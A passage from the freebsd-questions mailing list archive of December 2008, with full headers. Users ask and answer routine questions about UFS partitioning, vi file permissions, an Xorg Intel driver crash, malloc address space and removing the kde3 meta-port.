checks the partions in background except > for the / partition, by keeping / as small as possible, the time to > boot can be mimimized .. correct? but will /root ever be something > big ??) No no, / refers to "the root partition". One way of setting up p=FCartitions is just to have one partition (one root parttion) and put everything on it, including /tmp, /var, /usr and /home. Another philosophy is to create partitions designated to their further use, just as I mentioned it above. For /, you would hardly need more than 1 GB. It just contains the kernel, basal system binaries, the configuration files and the directories that are mount points for all the other file systems. Even a 256 MB / partition should be enoung. > e /tmp 20 Gb,=20 > f /var 20 Gb,=20 > g /usr 20 Gb > this leaves 2420 Gb which is more than 2 Tb, so you can't put all=20 > that in 1 filesystem h /home, you will need to split that in 2 > BSD-paritions, but since you can't have more that 8 BSD-partitions > (highest BSD-partition letter is h), you need to give up at least > one of d, e, f, g. ... correct or not (then what)? I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition as a whole, but because I don't have sch large disks with UFS (I have ZFS for them), I cannot tell. PS. Corrected subject (was missing). --=20 Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 10:53:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8557F106564A for ; Tue, 2 Dec 2008 10:53:37 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (hmacs.cmi.ua.ac.be [143.129.75.10]) by mx1.freebsd.org (Postfix) with ESMTP id DCFC58FC1D for ; Tue, 2 Dec 2008 10:53:36 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (localhost [127.0.0.1]) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8) with ESMTP id mB2ArNMF005854; Tue, 2 Dec 2008 11:53:23 +0100 (CET) Received: from localhost (pdon@localhost) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8/Submit) with ESMTP id mB2ArNkx005851; Tue, 2 Dec 2008 11:53:23 +0100 (CET) X-Authentication-Warning: hmacs.cmi.ua.ac.be: pdon owned process doing -bs Date: Tue, 2 Dec 2008 11:53:23 +0100 (CET) From: Pieter Donche X-X-Sender: pdon@hmacs.cmi.ua.ac.be To: Polytropon In-Reply-To: <20081202111740.96805018.freebsd@edvax.de> Message-ID: References: <20081202111740.96805018.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "mail.list freebsd-questions" Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 10:53:37 -0000 On Tue, 2 Dec 2008, Polytropon wrote: > ad0 |-----------------------------------------------| the whole disk > ad0s1 \----------------------------------------------/ one slice > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > a b d e f g > / swap /tmp /var /usr /home mount point OK this is clear.. >> a / 1Gb, >> b swap, >> d /root 20 Gb, (a /root partition is from an example of someone who >> claims that at boot FreeBSD checks the partions in background except >> for the / partition, by keeping / as small as possible, the time to >> boot can be mimimized .. correct? but will /root ever be something >> big ??) > > No no, / refers to "the root partition". One way of setting > up partitions is just to have one partition (one root parttion) > and put everything on it, including /tmp, /var, /usr and /home. I know / is the "root partition", but /root is the home-directory of the user root (/etc/passwd: root:*:0:0:Charlie &:/root:/bin/csh). I doubt this will ever be needed to be large? If its not large fsck neither will spend much time in it. So I guess it's just safe not to make this a separate BSD-partiton ? > Another philosophy is to create partitions designated to their > further use, just as I mentioned it above. Yes, but it's hard to find out what is best... I'm constantly swinged between the one (/ including /tmp /var /usr) and the other (all separate) option ... >> this leaves 2420 Gb which is more than 2 Tb, so you can't put all >> that in 1 filesystem h /home, you will need to split that in 2 >> BSD-paritions, but since you can't have more that 8 BSD-partitions >> (highest BSD-partition letter is h), you need to give up at least >> one of d, e, f, g. ... correct or not (then what)? > > I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition > as a whole, but because I don't have sch large disks with UFS > (I have ZFS for them), I cannot tell. Anyone else can tell? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 10:55:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 74C0E1065675 for ; Tue, 2 Dec 2008 10:55:06 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: from mail-gx0-f19.google.com (mail-gx0-f19.google.com [209.85.217.19]) by mx1.freebsd.org (Postfix) with ESMTP id 2CDD28FC1A for ; Tue, 2 Dec 2008 10:55:06 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: by mail-gx0-f19.google.com with SMTP id 12so1665277gxk.19 for ; Tue, 02 Dec 2008 02:55:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:x-rim-org-msg-ref-id :return-receipt-to:message-id:reply-to:x-priority:sensitivity :importance:to:subject:from:date:content-type:mime-version; bh=OJrBS+YXq7sT1ozkYDyymI69ATtoXuTKBjVDIz592oQ=; b=GMLvp4HOkZzbdRw0ehsPbPzC4uWwBbWeXvfdeiNtvXSrGTc+nvp1WrfH25Em2BD/vH TtVJ2XrE3CaghAaBCwDUgCEQPDNT8RUdkO0aBnC4OfIY4k9PMaDriT1TAKeLeOiVtD9t oHr0E7ttnHYIwELoqTWyDCLy8QT237TSVaAYI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=x-rim-org-msg-ref-id:return-receipt-to:message-id:reply-to :x-priority:sensitivity:importance:to:subject:from:date:content-type :mime-version; b=Uu/b22RdTay6EC/EzPWPAHbyItyHETLyP3uiklRq/6L23/2n5mTxXxQNJNEwJ7Jv5D np3mp8lztxMoe0tzTXRa+ulzVlMNFw5JoSGQIuxsI9k5X7PphEC5sjajJ7rhZqzUlaJ2 m7BilUNTbCaFy+uHITJD0lUxSVbkioVqlanXo= Received: by 10.64.204.13 with SMTP id b13mr12702042qbg.15.1228215305611; Tue, 02 Dec 2008 02:55:05 -0800 (PST) Received: from bda011.bisx.prodap.on.blackberry (bda011.bis.ap.blackberry.com [216.9.247.139]) by mx.google.com with ESMTPS id s35sm10345592qbs.13.2008.12.02.02.55.04 (version=SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 02:55:04 -0800 (PST) X-rim-org-msg-ref-id: 1634600794 Message-ID: <1634600794-1228215302-cardhu_decombobulator_blackberry.rim.net-1868538506-@bxe1001.bisx.prodap.on.blackberry> X-Priority: Normal Sensitivity: Normal Importance: Normal To: freebsd-questions@freebsd.org From: "Anthony M. Rasat" Date: Tue, 2 Dec 2008 10:53:41 +0000 Content-Type: text/plain MIME-Version: 1.0 Subject: Re: Problem with permissions and vi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: anthony.rasat@gmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 10:55:06 -0000 >Why I am able to put some text into >some_file.txt with >chmod 000 using vi editor and why i >can not do the same >using echo??? I'm not exactly vi master or guru here but I think it's because you write vi with :wq! command. If you write tried to write some_file.txt with :w instead, vi would complaints "cannot wrote blablabla" and so on. I assumed you wanted to write-protect your file from unauthorised tempering attempt (either from you or other user) you can do that by changing ownership of the file to other user's, most popular probably to root's. I don't think vi can overwrite different owner's file unless permission flag's permit it. -- Regards, Anthony M. Rasat Manager - Technical, Network and Support Division PT. Jawa Pos National Network Graha Pena Jawa Pos Group Building, 5th floor Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 Indonesia.- Phone 02132185562 Phone 081574217035 Fax 02153651465 Web http://www.jpnn.com From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 11:13:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 834491065713 for ; Tue, 2 Dec 2008 11:13:04 +0000 (UTC) (envelope-from contact@kikinovak.net) Received: from kraid.nerim.net (kraid.ipv6.nerim.net [IPv6:2001:7a8:1:1::95]) by mx1.freebsd.org (Postfix) with ESMTP id 2A1A58FC13 for ; Tue, 2 Dec 2008 11:13:04 +0000 (UTC) (envelope-from contact@kikinovak.net) Received: from grossebertha.local (kikinovak.pck.nerim.net [213.41.141.252]) by kraid.nerim.net (Postfix) with ESMTP id 9DD26CF6B0 for ; Tue, 2 Dec 2008 12:13:02 +0100 (CET) Message-ID: <4935183E.1030100@kikinovak.net> Date: Tue, 02 Dec 2008 12:13:02 +0100 From: Niki Kovacs User-Agent: Thunderbird 2.0.0.17 (X11/20081001) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Introduction X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 11:13:04 -0000 Hi, I'm an Austrian sysadmin living in Montpezat (South France), and a 100% GNU/Linux user since 2001. I've started with Slackware (7.1, I think) on a battered 486, hopped distros for some time, used Mandriva, Debian and then Slackware again for a few years. In the last two years or so, I've been mainly using a mix of CentOS (a Red Hat Enterprise Linux clone) and Fedora. I've been working as a writer for the french magazine "Linux Pratique" since 2004. For the last two years, my job consisted primarily in networking a series of small public libraries in eleven small towns around here, using 100% open source software. I don't know why, but it looks like I never crossed paths with FreeBSD. Only recently, I took a peek in the apparently well-written documentation. Now I have some spare time and also a spare machine (a Fujitsu Lifebook), and I thought I'd give FreeBSD a spin, just out of mere curiosity. Cheers from the sunny South of France, Niki Kovacs From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 11:33:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 39134106564A for ; Tue, 2 Dec 2008 11:33:55 +0000 (UTC) (envelope-from contact@kikinovak.net) Received: from kraid.nerim.net (kraid.ipv6.nerim.net [IPv6:2001:7a8:1:1::95]) by mx1.freebsd.org (Postfix) with ESMTP id 03C778FC13 for ; Tue, 2 Dec 2008 11:33:55 +0000 (UTC) (envelope-from contact@kikinovak.net) Received: from grossebertha.local (kikinovak.pck.nerim.net [213.41.141.252]) by kraid.nerim.net (Postfix) with ESMTP id D824DCF795 for ; Tue, 2 Dec 2008 12:33:52 +0100 (CET) Message-ID: <49351D20.7030507@kikinovak.net> Date: Tue, 02 Dec 2008 12:33:52 +0100 From: Niki Kovacs User-Agent: Thunderbird 2.0.0.17 (X11/20081001) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Problem configuring X: FreeBSD 6.4, Intel video card, Fujitsu lifebook X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 11:33:55 -0000 Hi, I just installed FreeBSD 6.4 on a Fujitsu lifebook. I'm quite new to FreeBSD (see previous post "Introduction"). Some time ago, I had bought (and partially read) Michael Urban's "FreeBSD 6 Unleashed". I just worked through the initial chapters, and managed installing FreeBSD and configuring X just fine. Only I ran into trouble installing a desktop environment, since building gnome2-lite failed. I thought before doing anything, I'd get a more recent set of FreeBSD install discs, since the book includes 6.1, which seems a bit outdated. Now I did an install using a set of 6.4 install discs. Everything ran fine, except I can't get X to work anymore. Configuration: # Xorg -configure # mv /root/xorg.conf.new /etc/X11/xorg.conf And then test: # startx X crashes with the following error message: Fatal server error: Couldn't find PLL settings for mode! I googled about this and found a few results... on the Ubuntu 8.10 bugtracker. Apparently the 'intel' video driver has some problems with my specific Intel video card. What now? Try to use the older 'i810' instead of 'intel'? But how would I do that? Simply replacing the corresponding "Driver" line in xorg.conf doesn't help. Any suggestions? Niki Kovacs From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 11:42:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ED7371065675 for ; Tue, 2 Dec 2008 11:42:41 +0000 (UTC) (envelope-from keramida@freebsd.org) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 32BB98FC16 for ; Tue, 2 Dec 2008 11:42:40 +0000 (UTC) (envelope-from keramida@freebsd.org) Received: from kobe.laptop (adsl142-13.kln.forthnet.gr [195.74.241.13]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB2BgM20022317 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 2 Dec 2008 13:42:28 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB2BgMeD009753; Tue, 2 Dec 2008 13:42:22 +0200 (EET) (envelope-from keramida@freebsd.org) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB2BgLtn009752; Tue, 2 Dec 2008 13:42:21 +0200 (EET) (envelope-from keramida@freebsd.org) From: Giorgos Keramidas To: yuri@rawbw.com References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> <49346BD3.5080506@rawbw.com> Date: Tue, 02 Dec 2008 13:42:20 +0200 In-Reply-To: <49346BD3.5080506@rawbw.com> (yuri@rawbw.com's message of "Mon, 01 Dec 2008 14:57:23 -0800") Message-ID: <87ljuy2483.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB2BgM20022317 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.22, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.18, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@freebsd.org X-Spam-Status: No Cc: freebsd-questions@freebsd.org Subject: Re: Why process memory starts so high up in virtual space with FreeBSD malloc? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 11:42:42 -0000 On Mon, 01 Dec 2008 14:57:23 -0800, Yuri wrote: > Giorgos Keramidas wrote: >> The FreeBSD malloc(3) implementation can use either mmap() or sbrk() to >> obtain memory from the system. It does not 'waste a high percentage of >> memory' but it simply maps only high addresses (with an unmapped 'hole' >> in lower addresses). > > But the hole it leaves with MALLOC_OPTIONS='dM' is way larger than the > one left by 'Dm' option. Usually malloc will keep allocating addresses > higher than this initial value and will never come back and fill some > parts of this gap. Therefore "wasting" this space. The 'D' and 'M' options set what malloc() will _prefer_, they do not force malloc() to use _only_ the particular type of memory space. As Dan explained in another post, both memory types will be used if there is need for more address space. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:14:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2BC0F1065680 for ; Tue, 2 Dec 2008 12:14:06 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp105.prem.mail.ac4.yahoo.com (smtp105.prem.mail.ac4.yahoo.com [76.13.13.44]) by mx1.freebsd.org (Postfix) with SMTP id B59318FC14 for ; Tue, 2 Dec 2008 12:14:05 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: (qmail 83505 invoked from network); 2 Dec 2008 12:14:05 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:X-Face:Mime-Version:Content-Type; b=PgUIGyLHTzgl6jbzQOSrMS17Tl9ed4uvyT8Dsvb5Mdx8O2EOQzkRbkBYSijqe+G/185sl189A6JdiHUdjscyKln1H4fJkZseHvaBWjnuLCL9dJTQ6QafpS+L9qhlTmB7dKct34DJfKd1R+8DhxTAfGvdXNAuVeTg91WOmoGrF2I= ; Received: from unknown (HELO scorpio) (gesbbb@76.23.177.172 with login) by smtp105.prem.mail.ac4.yahoo.com with SMTP; 2 Dec 2008 12:14:05 -0000 X-YMail-OSG: 4acwbb0VM1kh8FpxP9JnaaEmInIjE5C18vL4.mgYn.CXpAAvCuYjl88v0qH4VBkxmFHyxzGy2RSVRsS.DpsGFOkNbUZpB5DqspmiJXJGc7xlzUbmNr0SImH73KOHOfWmOv3eT81w_wf5WtvzdNTzRwgObNwV0fd_cDPsLCcNF2NENpXXQ4By2bu1Dg-- X-Yahoo-Newman-Property: ymail-3 Date: Tue, 2 Dec 2008 07:13:53 -0500 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20081202071353.222f8df0@scorpio> In-Reply-To: <4934E5DA.6040308@eskk.nu> References: <4934E5DA.6040308@eskk.nu> Organization: seibercom.net X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd6.3) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR nSNPNr*/^~StawWU9KDJ-CT0k$f#@t2^K&BS_f|?ZV/.7Q Mime-Version: 1.0 Content-Type: multipart/signed; boundary="Sig_/woXAOCYqcLykoSqXqlQTvfO"; protocol="application/pgp-signature"; micalg=PGP-SHA1 Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:14:06 -0000 --Sig_/woXAOCYqcLykoSqXqlQTvfO Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On Tue, 02 Dec 2008 08:38:02 +0100 Leslie Jensen wrote: >How would you guys uninstall a meta-port? > >I'm considering a move to kde4 but I want a clean install, so I want >to remove the kde3 meta-port first. Well, you might try navigating to the kde3 port and running: make deinstall. Alternately, you could try running something like 'pkg_delete'; i.e.: "pkg_delete -vdf kde-3.5.10". --=20 Jerry gesbbb@yahoo.com Everybody wants to go to heaven, but nobody wants to die. --Sig_/woXAOCYqcLykoSqXqlQTvfO Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk1JosACgkQBvaKIJWWCO3CuQCfbWjt9Lv3wxJ4KqDafsJh7pxL FFkAn2ExZr5Oirlsr5K1/y5DmPa07YcP =NZd+ -----END PGP SIGNATURE----- --Sig_/woXAOCYqcLykoSqXqlQTvfO-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:17:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3177F106567C for ; Tue, 2 Dec 2008 12:17:21 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 0085D8FC22 for ; Tue, 2 Dec 2008 12:17:20 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 10B04AFC1C6; Tue, 2 Dec 2008 03:17:19 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 13:17:14 +0100 User-Agent: KMail/1.9.7 References: <49351D20.7030507@kikinovak.net> In-Reply-To: <49351D20.7030507@kikinovak.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812021317.16172.fbsd.questions@rachie.is-a-geek.net> Cc: Niki Kovacs Subject: Re: Problem configuring X: FreeBSD 6.4, Intel video card, Fujitsu lifebook X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:17:21 -0000 On Tuesday 02 December 2008 12:33:52 Niki Kovacs wrote: > Hi, > > I just installed FreeBSD 6.4 on a Fujitsu lifebook. I'm quite new to > FreeBSD (see previous post "Introduction"). Some time ago, I had bought > (and partially read) Michael Urban's "FreeBSD 6 Unleashed". I just > worked through the initial chapters, and managed installing FreeBSD and > configuring X just fine. Only I ran into trouble installing a desktop > environment, since building gnome2-lite failed. I thought before doing > anything, I'd get a more recent set of FreeBSD install discs, since the > book includes 6.1, which seems a bit outdated. > > Now I did an install using a set of 6.4 install discs. Everything ran > fine, except I can't get X to work anymore. > > Configuration: > > # Xorg -configure > # mv /root/xorg.conf.new /etc/X11/xorg.conf > > And then test: > > # startx > > X crashes with the following error message: > > Fatal server error: > Couldn't find PLL settings for mode! > > I googled about this and found a few results... on the Ubuntu 8.10 > bugtracker. Apparently the 'intel' video driver has some problems with > my specific Intel video card. > > What now? Try to use the older 'i810' instead of 'intel'? But how would > I do that? Simply replacing the corresponding "Driver" line in xorg.conf > doesn't help. How doesn't it help? Is the driver loaded or not? Any relevant info in /var/log/Xorg.0.log? -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:31:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 31584106564A for ; Tue, 2 Dec 2008 12:31:41 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (hmacs.cmi.ua.ac.be [143.129.75.10]) by mx1.freebsd.org (Postfix) with ESMTP id A6B168FC23 for ; Tue, 2 Dec 2008 12:31:40 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (localhost [127.0.0.1]) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8) with ESMTP id mB2CVdUK008604 for ; Tue, 2 Dec 2008 13:31:39 +0100 (CET) Received: from localhost (pdon@localhost) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8/Submit) with ESMTP id mB2CVdLZ008601 for ; Tue, 2 Dec 2008 13:31:39 +0100 (CET) X-Authentication-Warning: hmacs.cmi.ua.ac.be: pdon owned process doing -bs Date: Tue, 2 Dec 2008 13:31:39 +0100 (CET) From: Pieter Donche X-X-Sender: pdon@hmacs.cmi.ua.ac.be To: "mail.list freebsd-questions" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:31:41 -0000 If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what distribution of FreeBSD 7.0 applies: i386 or ia64 ? Why are the ISO's so different in size between i386 and ia64 (i386: disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:35:46 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D695A1065670 for ; Tue, 2 Dec 2008 12:35:46 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id A7CF28FC17 for ; Tue, 2 Dec 2008 12:35:46 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id CFD99AFC1C6; Tue, 2 Dec 2008 03:35:45 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 13:35:40 +0100 User-Agent: KMail/1.9.7 References: <4934E5DA.6040308@eskk.nu> In-Reply-To: <4934E5DA.6040308@eskk.nu> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> Cc: Leslie Jensen Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:35:46 -0000 On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: > How would you guys uninstall a meta-port? > > I'm considering a move to kde4 but I want a clean install, so I want to > remove the kde3 meta-port first. cd /usr/ports/x11/kde3 for dep in `make -V RUN_DEPENDS`; do origin=${dep##*:}; portname=`make -C ${origin} -V PORTNAME`; pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; done cd /usr/ports/ports-mgmt/pkg_cutleaves make install pkg_cutleaves -xg Delete all leaves you are sure you don't need anymore, till no leaves are left. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:37:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8C70B1065670 for ; Tue, 2 Dec 2008 12:37:04 +0000 (UTC) (envelope-from ebbe.hjorth@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.187]) by mx1.freebsd.org (Postfix) with ESMTP id 10D3A8FC19 for ; Tue, 2 Dec 2008 12:37:03 +0000 (UTC) (envelope-from ebbe.hjorth@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so1583456nfh.33 for ; Tue, 02 Dec 2008 04:37:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=nB2KCnb6HS6XbwP2m0EJ2uBChBPhR4p9dJRg4zDnhxY=; b=t4Vjur8IzOtFcMLlbggv/qchezAqFgU6vG765JE3ns/8/LwdAf13fGV1JdlDbIVTF0 